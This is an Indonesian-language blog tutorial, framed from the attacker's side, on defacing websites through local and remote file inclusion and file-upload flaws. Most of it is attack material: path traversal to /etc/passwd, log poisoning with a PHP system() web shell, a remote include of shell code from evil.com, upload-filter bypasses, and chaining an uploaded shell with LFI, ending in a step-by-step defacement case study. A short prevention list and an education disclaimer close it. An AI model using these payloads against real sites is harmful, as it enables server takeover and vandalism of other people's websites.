Pendahuluan
File Inclusion Vulnerability (LFI/RFI) dan Upload Vulnerability adalah dua metode klasik namun masih efektif untuk melakukan website defacement. Banyak website yang gagal melakukan filter input dengan baik, memungkinkan penyerang untuk mengupload shell atau memasukkan file yang berisi kode berbahaya.
Artikel ini akan membahas teknik deface menggunakan kedua celah tersebut, lengkap dengan metode chaining yang sering digunakan oleh defacer.
1. Local File Inclusion (LFI)
LFI memungkinkan penyerang untuk memasukkan file lokal dari server. Contoh vulnerable code:
<?php include($_GET['page']); ?>
Jika URL seperti ini:
http://target.com/index.php?page=about.php
Maka penyerang bisa mencoba:
http://target.com/index.php?page=../../../../../../etc/passwd
a. LFI to Shell (Log Poisoning)
- Kirim user-agent berisi kode PHP ke server:
<?php system($_GET['cmd']); ?>
- Lalu akses log file menggunakan LFI:
http://target.com/index.php?page=../../../../../../var/log/apache2/access.log
- Jalankan shell command:
http://target.com/index.php?page=../../../../../../var/log/apache2/access.log&cmd=ls
2. Remote File Inclusion (RFI)
Jika server mengizinkan allow_url_include:
http://target.com/index.php?page=http://evil.com/shell.txt
Maka kode dari evil.com/shell.txt akan dieksekusi di server target.
3. File Upload Vulnerability
a. Teknik Bypass Extension
- Menggunakan double extension:
shell.php.jpg
- Menggunakan karakter null byte (untuk server lama):
shell.php%00.jpg
- Menggunakan MIME spoofing:
Content-Type: image/jpeg
b. Payload Shell Sederhana
<?php system($_GET['cmd']); ?>
Upload sebagai shell.php.jpg
, lalu akses:
http://target.com/uploads/shell.php.jpg?cmd=uname -a
4. Chaining LFI + Upload
- Upload file gambar berisi kode PHP (misalnya
shell.jpg
). - Gunakan LFI untuk memaksa include file tersebut:
http://target.com/index.php?page=../../uploads/shell.jpg
- Tambahkan parameter
cmd
:
http://target.com/index.php?page=../../uploads/shell.jpg&cmd=id
5. Studi Kasus Deface
Kasus: Deface via LFI + Upload
- Target: CMS lawas dengan modul upload gambar.
- Langkah:
- Upload
shell.jpg
dengan kode PHP tersembunyi. - Exploit LFI untuk menjalankan shell.
- Gunakan shell untuk mengedit
index.html
atau file tampilan website. - Deface berhasil!
- Upload
Tools yang sering digunakan
- b374k shell
- Weevely
- Pentest Monkey Reverse Shell
6. Pencegahan
Sebagai defender:
- Validasi input dengan whitelist.
- Nonaktifkan allow_url_include.
- Batasi hak akses upload folder (no .php execution).
- Gunakan prepared statement dan disable dangerous functions.
Penutup
Teknik File Inclusion dan Upload Vulnerability masih menjadi senjata ampuh bagi defacer, terutama di website yang kurang update atau salah konfigurasi. Dengan menggabungkan kedua teknik ini, penyerang bisa mendapatkan shell dan melakukan deface secara penuh.
Disclaimer: Artikel ini hanya untuk edukasi dan pembelajaran keamanan.
Posting Komentar